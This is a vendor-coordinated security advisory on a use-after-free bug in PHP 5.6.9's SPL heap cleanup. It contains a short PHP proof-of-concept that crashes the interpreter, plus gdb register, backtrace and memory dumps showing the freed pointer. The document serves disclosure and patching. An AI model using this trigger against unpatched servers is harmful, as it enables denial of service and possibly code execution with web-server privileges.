PHP 5.6.9 Use-After-Free

2015.06.10
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-416

Advisory ID: HTB23262 Product: PHP Vendor: PHP Group Vulnerable Version(s): 5.6.9 and probably prior Tested Version: 5.6.9 Advisory Publication: May 20, 2015 [without technical details] Vendor Notification: May 20, 2015 Vendor Patch: June 2, 2015 Public Disclosure: June 10, 2015 Vulnerability Type: Use After Free [CWE-416] Risk Level: Medium CVSSv2 Base Score: 4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P) Solution Status: Fixed by Vendor Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system. The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver. Below is a simple code that will trigger a crash: <?php class SplMinHeap1 extends SplMinHeap { public function compare($a, $b) { return -parent::notexist($a, $b); } } $h = new SplMinHeap1(); $h->insert(1); $h->insert(6); $h->insert(5); $h->insert(2); ?> Running the following PoC we get: gdb-peda$ r ~/Desktop/heap_uaf.php Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4 Program received signal SIGSEGV, Segmentation fault. [--------------------------------------------------------------------------registers---------------------------------------------------------------------------] RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBX: 0x8000000 RCX: 0xcd0458 ("/home/test/De"...) RDX: 0x16f RSI: 0xcd0458 ("/home/test/De"...) RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ) RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0 RIP: 0x82a96f (<zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10]) R8 : 0x269 R9 : 0x0 R10: 0x7fffffff9b20 --> 0x0 R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef R12: 0x4209e0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdf30 --> 0x2 R14: 0x0 R15: 0x0 [-----------------------------------------------------------------------------code-----------------------------------------------------------------------------] 0x82a964 <zval_delref_p+1>: mov rbp,rsp 0x82a967 <zval_delref_p+4>: mov QWORD PTR [rbp-0x8],rdi 0x82a96b <zval_delref_p+8>: mov rax,QWORD PTR [rbp-0x8] => 0x82a96f <zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10] 0x82a972 <zval_delref_p+15>: lea edx,[rax-0x1] 0x82a975 <zval_delref_p+18>: mov rax,QWORD PTR [rbp-0x8] 0x82a979 <zval_delref_p+22>: mov DWORD PTR [rax+0x10],edx 0x82a97c <zval_delref_p+25>: mov rax,QWORD PTR [rbp-0x8] [----------------------------------------------------------------------------stack-----------------------------------------------------------------------------] As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes. Stopped reason: SIGSEGV 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411 411 return --pz->refcount__gc; Running the backtrace command we can see a couple of freed variables: zval_ptr, pz gdb-peda$ bt #0 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411 #1 0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76 #2 0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424 #3 0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367 #4 0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97 #5 0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290 #6 0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960 #7 0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882 #8 0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177 #9 0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378 #10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/libc.so.6 #11 0x0000000000420a09 in _start () Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory: gdb-peda$ x/50xw 0x7ffff7fcba88 0x7ffff7fcba88: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcba98: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbaa8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbab8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbac8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbad8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbae8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbaf8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb08: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb18: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb28: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb38: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x7ffff7fcbb48: 0x5a5a5a5a 0x5a5a5a5a This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9. ----------------------------------------------------------------------------------------------- Solution: Apply Vendor's patch. More Information: https://bugs.php.net/bug.php?id=69737 http://git.php.net/?p=php-src.git;a=commit;h=1cbd25ca15383394ffa9ee8601c5de4c0f2f90e1 ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23262 - https://www.htbridge.com/advisory/HTB23262 - Use-After-Free in PHP. [2] PHP - http://www.php.net - PHP is a popular general-purpose scripting language that is especially suited to web development. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [4] ImmuniWeb? SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

References:

https://bugs.php.net/bug.php?id=69737
http://git.php.net/?p=php-src.git;a=commit;h=1cbd25ca15383394ffa9ee8601c5de4c0f2f90e1


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